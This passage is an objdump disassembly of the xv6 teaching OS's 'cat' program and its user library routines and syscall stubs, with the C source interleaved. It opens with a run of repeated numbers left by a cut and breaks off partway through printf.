35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
_cat: file format elf32-i386 Disassembly of section .text: 00000000 <main>: } } int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: be 01 00 00 00 mov $0x1,%esi 16: 83 ec 18 sub $0x18,%esp 19: 8b 01 mov (%ecx),%eax 1b: 8b 59 04 mov 0x4(%ecx),%ebx 1e: 83 c3 04 add $0x4,%ebx int fd, i; if(argc <= 1){ 21: 83 f8 01 cmp $0x1,%eax } } int main(int argc, char *argv[]) { 24: 89 45 e4 mov %eax,-0x1c(%ebp) int fd, i; if(argc <= 1){ 27: 7e 54 jle 7d <main+0x7d> 29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi cat(0); exit(); } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ 30: 83 ec 08 sub $0x8,%esp 33: 6a 00 push $0x0 35: ff 33 pushl (%ebx) 37: e8 56 03 00 00 call 392 <open> 3c: 83 c4 10 add $0x10,%esp 3f: 85 c0 test %eax,%eax 41: 89 c7 mov %eax,%edi 43: 78 24 js 69 <main+0x69> printf(1, "cat: cannot open %s\n", argv[i]); exit(); } cat(fd); 45: 83 ec 0c sub $0xc,%esp if(argc <= 1){ cat(0); exit(); } for(i = 1; i < argc; i++){ 48: 83 c6 01 add $0x1,%esi 4b: 83 c3 04 add $0x4,%ebx if((fd = open(argv[i], 0)) < 0){ printf(1, "cat: cannot open %s\n", argv[i]); exit(); } cat(fd); 4e: 50 push %eax 4f: e8 3c 00 00 00 call 90 <cat> close(fd); 54: 89 3c 24 mov %edi,(%esp) 57: e8 1e 03 00 00 call 37a <close> if(argc <= 1){ cat(0); exit(); } for(i = 1; i < argc; i++){ 5c: 83 c4 10 add $0x10,%esp 5f: 39 75 e4 cmp %esi,-0x1c(%ebp) 62: 75 cc jne 30 <main+0x30> exit(); } cat(fd); close(fd); } exit(); 64: e8 e9 02 00 00 call 352 <exit> exit(); } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ printf(1, "cat: cannot open %s\n", argv[i]); 69: 50 push %eax 6a: ff 33 pushl (%ebx) 6c: 68 e3 07 00 00 push $0x7e3 71: 6a 01 push $0x1 73: e8 28 04 00 00 call 4a0 <printf> exit(); 78: e8 d5 02 00 00 call 352 <exit> main(int argc, char *argv[]) { int fd, i; if(argc <= 1){ cat(0); 7d: 83 ec 0c sub $0xc,%esp 80: 6a 00 push $0x0 82: e8 09 00 00 00 call 90 <cat> exit(); 87: e8 c6 02 00 00 call 352 <exit> 8c: 66 90 xchg %ax,%ax 8e: 66 90 xchg %ax,%ax 00000090 <cat>: char buf[512]; void cat(int fd) { 90: 55 push %ebp 91: 89 e5 mov %esp,%ebp 93: 56 push %esi 94: 53 push %ebx 95: 8b 75 08 mov 0x8(%ebp),%esi int n; while((n = read(fd, buf, sizeof(buf))) > 0) { 98: eb 1d jmp b7 <cat+0x27> 9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if (write(1, buf, n) != n) { a0: 83 ec 04 sub $0x4,%esp a3: 53 push %ebx a4: 68 00 0b 00 00 push $0xb00 a9: 6a 01 push $0x1 ab: e8 c2 02 00 00 call 372 <write> b0: 83 c4 10 add $0x10,%esp b3: 39 c3 cmp %eax,%ebx b5: 75 26 jne dd <cat+0x4d> void cat(int fd) { int n; while((n = read(fd, buf, sizeof(buf))) > 0) { b7: 83 ec 04 sub $0x4,%esp ba: 68 00 02 00 00 push $0x200 bf: 68 00 0b 00 00 push $0xb00 c4: 56 push %esi c5: e8 a0 02 00 00 call 36a <read> ca: 83 c4 10 add $0x10,%esp cd: 83 f8 00 cmp $0x0,%eax d0: 89 c3 mov %eax,%ebx d2: 7f cc jg a0 <cat+0x10> if (write(1, buf, n) != n) { printf(1, "cat: write error\n"); exit(); } } if(n < 0){ d4: 75 1b jne f1 <cat+0x61> printf(1, "cat: read error\n"); exit(); } } d6: 8d 65 f8 lea -0x8(%ebp),%esp d9: 5b pop %ebx da: 5e pop %esi db: 5d pop %ebp dc: c3 ret { int n; while((n = read(fd, buf, sizeof(buf))) > 0) { if (write(1, buf, n) != n) { printf(1, "cat: write error\n"); dd: 83 ec 08 sub $0x8,%esp e0: 68 c0 07 00 00 push $0x7c0 e5: 6a 01 push $0x1 e7: e8 b4 03 00 00 call 4a0 <printf> exit(); ec: e8 61 02 00 00 call 352 <exit> } } if(n < 0){ printf(1, "cat: read error\n"); f1: 83 ec 08 sub $0x8,%esp f4: 68 d2 07 00 00 push $0x7d2 f9: 6a 01 push $0x1 fb: e8 a0 03 00 00 call 4a0 <printf> exit(); 100: e8 4d 02 00 00 call 352 <exit> 105: 66 90 xchg %ax,%ax 107: 66 90 xchg %ax,%ax 109: 66 90 xchg %ax,%ax 10b: 66 90 xchg %ax,%ax 10d: 66 90 xchg %ax,%ax 10f: 90 nop 00000110 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 53 push %ebx 114: 8b 45 08 mov 0x8(%ebp),%eax 117: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 11a: 89 c2 mov %eax,%edx 11c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 120: 83 c1 01 add $0x1,%ecx 123: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 127: 83 c2 01 add $0x1,%edx 12a: 84 db test %bl,%bl 12c: 88 5a ff mov %bl,-0x1(%edx) 12f: 75 ef jne 120 <strcpy+0x10> ; return os; } 131: 5b pop %ebx 132: 5d pop %ebp 133: c3 ret 134: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 13a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000140 <strcmp>: int strcmp(const char *p, const char *q) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 56 push %esi 144: 53 push %ebx 145: 8b 55 08 mov 0x8(%ebp),%edx 148: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 14b: 0f b6 02 movzbl (%edx),%eax 14e: 0f b6 19 movzbl (%ecx),%ebx 151: 84 c0 test %al,%al 153: 75 1e jne 173 <strcmp+0x33> 155: eb 29 jmp 180 <strcmp+0x40> 157: 89 f6 mov %esi,%esi 159: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 160: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 163: 0f b6 02 movzbl (%edx),%eax p++, q++; 166: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 169: 0f b6 59 01 movzbl 0x1(%ecx),%ebx 16d: 84 c0 test %al,%al 16f: 74 0f je 180 <strcmp+0x40> 171: 89 f1 mov %esi,%ecx 173: 38 d8 cmp %bl,%al 175: 74 e9 je 160 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 177: 29 d8 sub %ebx,%eax } 179: 5b pop %ebx 17a: 5e pop %esi 17b: 5d pop %ebp 17c: c3 ret 17d: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 180: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 182: 29 d8 sub %ebx,%eax } 184: 5b pop %ebx 185: 5e pop %esi 186: 5d pop %ebp 187: c3 ret 188: 90 nop 189: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000190 <strlen>: uint strlen(char *s) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 196: 80 39 00 cmpb $0x0,(%ecx) 199: 74 12 je 1ad <strlen+0x1d> 19b: 31 d2 xor %edx,%edx 19d: 8d 76 00 lea 0x0(%esi),%esi 1a0: 83 c2 01 add $0x1,%edx 1a3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1a7: 89 d0 mov %edx,%eax 1a9: 75 f5 jne 1a0 <strlen+0x10> ; return n; } 1ab: 5d pop %ebp 1ac: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 1ad: 31 c0 xor %eax,%eax ; return n; } 1af: 5d pop %ebp 1b0: c3 ret 1b1: eb 0d jmp 1c0 <memset> 1b3: 90 nop 1b4: 90 nop 1b5: 90 nop 1b6: 90 nop 1b7: 90 nop 1b8: 90 nop 1b9: 90 nop 1ba: 90 nop 1bb: 90 nop 1bc: 90 nop 1bd: 90 nop 1be: 90 nop 1bf: 90 nop 000001c0 <memset>: void* memset(void *dst, int c, uint n) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 57 push %edi 1c4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1c7: 8b 4d 10 mov 0x10(%ebp),%ecx 1ca: 8b 45 0c mov 0xc(%ebp),%eax 1cd: 89 d7 mov %edx,%edi 1cf: fc cld 1d0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1d2: 89 d0 mov %edx,%eax 1d4: 5f pop %edi 1d5: 5d pop %ebp 1d6: c3 ret 1d7: 89 f6 mov %esi,%esi 1d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001e0 <strchr>: char* strchr(const char *s, char c) { 1e0: 55 push %ebp 1e1: 89 e5 mov %esp,%ebp 1e3: 53 push %ebx 1e4: 8b 45 08 mov 0x8(%ebp),%eax 1e7: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 1ea: 0f b6 10 movzbl (%eax),%edx 1ed: 84 d2 test %dl,%dl 1ef: 74 1d je 20e <strchr+0x2e> if(*s == c) 1f1: 38 d3 cmp %dl,%bl 1f3: 89 d9 mov %ebx,%ecx 1f5: 75 0d jne 204 <strchr+0x24> 1f7: eb 17 jmp 210 <strchr+0x30> 1f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 200: 38 ca cmp %cl,%dl 202: 74 0c je 210 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 204: 83 c0 01 add $0x1,%eax 207: 0f b6 10 movzbl (%eax),%edx 20a: 84 d2 test %dl,%dl 20c: 75 f2 jne 200 <strchr+0x20> if(*s == c) return (char*)s; return 0; 20e: 31 c0 xor %eax,%eax } 210: 5b pop %ebx 211: 5d pop %ebp 212: c3 ret 213: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000220 <gets>: char* gets(char *buf, int max) { 220: 55 push %ebp 221: 89 e5 mov %esp,%ebp 223: 57 push %edi 224: 56 push %esi 225: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 226: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 228: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 22b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 22e: eb 29 jmp 259 <gets+0x39> cc = read(0, &c, 1); 230: 83 ec 04 sub $0x4,%esp 233: 6a 01 push $0x1 235: 57 push %edi 236: 6a 00 push $0x0 238: e8 2d 01 00 00 call 36a <read> if(cc < 1) 23d: 83 c4 10 add $0x10,%esp 240: 85 c0 test %eax,%eax 242: 7e 1d jle 261 <gets+0x41> break; buf[i++] = c; 244: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 248: 8b 55 08 mov 0x8(%ebp),%edx 24b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 24d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 24f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 253: 74 1b je 270 <gets+0x50> 255: 3c 0d cmp $0xd,%al 257: 74 17 je 270 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 259: 8d 5e 01 lea 0x1(%esi),%ebx 25c: 3b 5d 0c cmp 0xc(%ebp),%ebx 25f: 7c cf jl 230 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 261: 8b 45 08 mov 0x8(%ebp),%eax 264: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 268: 8d 65 f4 lea -0xc(%ebp),%esp 26b: 5b pop %ebx 26c: 5e pop %esi 26d: 5f pop %edi 26e: 5d pop %ebp 26f: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 270: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 273: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 275: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 279: 8d 65 f4 lea -0xc(%ebp),%esp 27c: 5b pop %ebx 27d: 5e pop %esi 27e: 5f pop %edi 27f: 5d pop %ebp 280: c3 ret 281: eb 0d jmp 290 <stat> 283: 90 nop 284: 90 nop 285: 90 nop 286: 90 nop 287: 90 nop 288: 90 nop 289: 90 nop 28a: 90 nop 28b: 90 nop 28c: 90 nop 28d: 90 nop 28e: 90 nop 28f: 90 nop 00000290 <stat>: int stat(char *n, struct stat *st) { 290: 55 push %ebp 291: 89 e5 mov %esp,%ebp 293: 56 push %esi 294: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 295: 83 ec 08 sub $0x8,%esp 298: 6a 00 push $0x0 29a: ff 75 08 pushl 0x8(%ebp) 29d: e8 f0 00 00 00 call 392 <open> if(fd < 0) 2a2: 83 c4 10 add $0x10,%esp 2a5: 85 c0 test %eax,%eax 2a7: 78 27 js 2d0 <stat+0x40> return -1; r = fstat(fd, st); 2a9: 83 ec 08 sub $0x8,%esp 2ac: ff 75 0c pushl 0xc(%ebp) 2af: 89 c3 mov %eax,%ebx 2b1: 50 push %eax 2b2: e8 f3 00 00 00 call 3aa <fstat> 2b7: 89 c6 mov %eax,%esi close(fd); 2b9: 89 1c 24 mov %ebx,(%esp) 2bc: e8 b9 00 00 00 call 37a <close> return r; 2c1: 83 c4 10 add $0x10,%esp 2c4: 89 f0 mov %esi,%eax } 2c6: 8d 65 f8 lea -0x8(%ebp),%esp 2c9: 5b pop %ebx 2ca: 5e pop %esi 2cb: 5d pop %ebp 2cc: c3 ret 2cd: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 2d0: b8 ff ff ff ff mov $0xffffffff,%eax 2d5: eb ef jmp 2c6 <stat+0x36> 2d7: 89 f6 mov %esi,%esi 2d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002e0 <atoi>: return r; } int atoi(const char *s) { 2e0: 55 push %ebp 2e1: 89 e5 mov %esp,%ebp 2e3: 53 push %ebx 2e4: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 2e7: 0f be 11 movsbl (%ecx),%edx 2ea: 8d 42 d0 lea -0x30(%edx),%eax 2ed: 3c 09 cmp $0x9,%al 2ef: b8 00 00 00 00 mov $0x0,%eax 2f4: 77 1f ja 315 <atoi+0x35> 2f6: 8d 76 00 lea 0x0(%esi),%esi 2f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 300: 8d 04 80 lea (%eax,%eax,4),%eax 303: 83 c1 01 add $0x1,%ecx 306: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 30a: 0f be 11 movsbl (%ecx),%edx 30d: 8d 5a d0 lea -0x30(%edx),%ebx 310: 80 fb 09 cmp $0x9,%bl 313: 76 eb jbe 300 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 315: 5b pop %ebx 316: 5d pop %ebp 317: c3 ret 318: 90 nop 319: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000320 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 320: 55 push %ebp 321: 89 e5 mov %esp,%ebp 323: 56 push %esi 324: 53 push %ebx 325: 8b 5d 10 mov 0x10(%ebp),%ebx 328: 8b 45 08 mov 0x8(%ebp),%eax 32b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 32e: 85 db test %ebx,%ebx 330: 7e 14 jle 346 <memmove+0x26> 332: 31 d2 xor %edx,%edx 334: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 338: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 33c: 88 0c 10 mov %cl,(%eax,%edx,1) 33f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 342: 39 da cmp %ebx,%edx 344: 75 f2 jne 338 <memmove+0x18> *dst++ = *src++; return vdst; } 346: 5b pop %ebx 347: 5e pop %esi 348: 5d pop %ebp 349: c3 ret 0000034a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 34a: b8 01 00 00 00 mov $0x1,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <exit>: SYSCALL(exit) 352: b8 02 00 00 00 mov $0x2,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <wait>: SYSCALL(wait) 35a: b8 03 00 00 00 mov $0x3,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <pipe>: SYSCALL(pipe) 362: b8 04 00 00 00 mov $0x4,%eax 367: cd 40 int $0x40 369: c3 ret 0000036a <read>: SYSCALL(read) 36a: b8 05 00 00 00 mov $0x5,%eax 36f: cd 40 int $0x40 371: c3 ret 00000372 <write>: SYSCALL(write) 372: b8 10 00 00 00 mov $0x10,%eax 377: cd 40 int $0x40 379: c3 ret 0000037a <close>: SYSCALL(close) 37a: b8 15 00 00 00 mov $0x15,%eax 37f: cd 40 int $0x40 381: c3 ret 00000382 <kill>: SYSCALL(kill) 382: b8 06 00 00 00 mov $0x6,%eax 387: cd 40 int $0x40 389: c3 ret 0000038a <exec>: SYSCALL(exec) 38a: b8 07 00 00 00 mov $0x7,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <open>: SYSCALL(open) 392: b8 0f 00 00 00 mov $0xf,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <mknod>: SYSCALL(mknod) 39a: b8 11 00 00 00 mov $0x11,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <unlink>: SYSCALL(unlink) 3a2: b8 12 00 00 00 mov $0x12,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <fstat>: SYSCALL(fstat) 3aa: b8 08 00 00 00 mov $0x8,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <link>: SYSCALL(link) 3b2: b8 13 00 00 00 mov $0x13,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <mkdir>: SYSCALL(mkdir) 3ba: b8 14 00 00 00 mov $0x14,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <chdir>: SYSCALL(chdir) 3c2: b8 09 00 00 00 mov $0x9,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <dup>: SYSCALL(dup) 3ca: b8 0a 00 00 00 mov $0xa,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <getpid>: SYSCALL(getpid) 3d2: b8 0b 00 00 00 mov $0xb,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <sbrk>: SYSCALL(sbrk) 3da: b8 0c 00 00 00 mov $0xc,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <sleep>: SYSCALL(sleep) 3e2: b8 0d 00 00 00 mov $0xd,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <uptime>: SYSCALL(uptime) 3ea: b8 0e 00 00 00 mov $0xe,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <adress>: SYSCALL(adress) 3f2: b8 16 00 00 00 mov $0x16,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 3fa: 66 90 xchg %ax,%ax 3fc: 66 90 xchg %ax,%ax 3fe: 66 90 xchg %ax,%ax 00000400 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 400: 55 push %ebp 401: 89 e5 mov %esp,%ebp 403: 57 push %edi 404: 56 push %esi 405: 53 push %ebx 406: 89 c6 mov %eax,%esi 408: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 40b: 8b 5d 08 mov 0x8(%ebp),%ebx 40e: 85 db test %ebx,%ebx 410: 74 7e je 490 <printint+0x90> 412: 89 d0 mov %edx,%eax 414: c1 e8 1f shr $0x1f,%eax 417: 84 c0 test %al,%al 419: 74 75 je 490 <printint+0x90> neg = 1; x = -xx; 41b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 41d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 424: f7 d8 neg %eax 426: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 429: 31 ff xor %edi,%edi 42b: 8d 5d d7 lea -0x29(%ebp),%ebx 42e: 89 ce mov %ecx,%esi 430: eb 08 jmp 43a <printint+0x3a> 432: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 438: 89 cf mov %ecx,%edi 43a: 31 d2 xor %edx,%edx 43c: 8d 4f 01 lea 0x1(%edi),%ecx 43f: f7 f6 div %esi 441: 0f b6 92 00 08 00 00 movzbl 0x800(%edx),%edx }while((x /= base) != 0); 448: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 44a: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 44d: 75 e9 jne 438 <printint+0x38> if(neg) 44f: 8b 45 c4 mov -0x3c(%ebp),%eax 452: 8b 75 c0 mov -0x40(%ebp),%esi 455: 85 c0 test %eax,%eax 457: 74 08 je 461 <printint+0x61> buf[i++] = '-'; 459: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 45e: 8d 4f 02 lea 0x2(%edi),%ecx 461: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 465: 8d 76 00 lea 0x0(%esi),%esi 468: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 46b: 83 ec 04 sub $0x4,%esp 46e: 83 ef 01 sub $0x1,%edi 471: 6a 01 push $0x1 473: 53 push %ebx 474: 56 push %esi 475: 88 45 d7 mov %al,-0x29(%ebp) 478: e8 f5 fe ff ff call 372 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 47d: 83 c4 10 add $0x10,%esp 480: 39 df cmp %ebx,%edi 482: 75 e4 jne 468 <printint+0x68> putc(fd, buf[i]); } 484: 8d 65 f4 lea -0xc(%ebp),%esp 487: 5b pop %ebx 488: 5e pop %esi 489: 5f pop %edi 48a: 5d pop %ebp 48b: c3 ret 48c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 490: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 492: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 499: eb 8b jmp 426 <printint+0x26> 49b: 90 nop 49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000004a0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 4a0: 55 push %ebp 4a1: 89 e5 mov %esp,%ebp 4a3: 57 push %edi 4a4: 56 push %esi 4a5: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4a6: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 4a9: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4ac: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 4af: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4b2: 89 45 d0 mov %eax,-0x30(%ebp) 4b5: 0f b6 1e movzbl (%esi),%ebx 4b8: 83 c6 01 add $0x1,%esi 4bb: 84 db test %bl,%bl 4bd: 0f 84 b0 00 00 00 je 573 <printf+0xd3> 4c3: 31 d2 xor %edx,%edx 4c5: eb 39 jmp 500 <printf+0x60> 4c7: 89 f6 mov %esi,%esi 4c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4d0: 83 f8 25 cmp $0x25,%eax 4d3: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 4d6: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4db: 74 18 je 4f5 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4dd: 8d 45 e2 lea -0x1e(%ebp),%eax 4e0: 83 ec 04 sub $0x4,%esp 4e3: 88 5d e2 mov %bl,-0x1e(%ebp) 4e6: 6a 01 push $0x1 4e8: 50 push %eax 4e9: 57 push %edi 4ea: e8 83 fe ff ff call 372 <write> 4ef: 8b 55 d4 mov -0x2c(%ebp),%edx 4f2: 83 c4 10 add $0x10,%esp 4f5: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4f8: 0f b6 5e ff movzbl -0x1(%esi),%ebx 4fc: 84 db test %bl,%bl 4fe: 74 73 je 573 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 500: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 502: 0f be cb movsbl %bl,%ecx 505: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 508: 74 c6 je 4d0 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 50a: 83 fa 25 cmp $0x25,%edx 50d: 75 e6 jne 4f5 <printf+0x55> if(c == 'd'){ 50f: 83 f8 64 cmp $0x64,%eax 512: 0f 84 f8 00 00 00 je 610 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 518: 81 e1 f7 00 00 00 and $0xf7,%ecx 51e: 83 f9 70 cmp $0x70,%ecx 521: 74 5d je 580 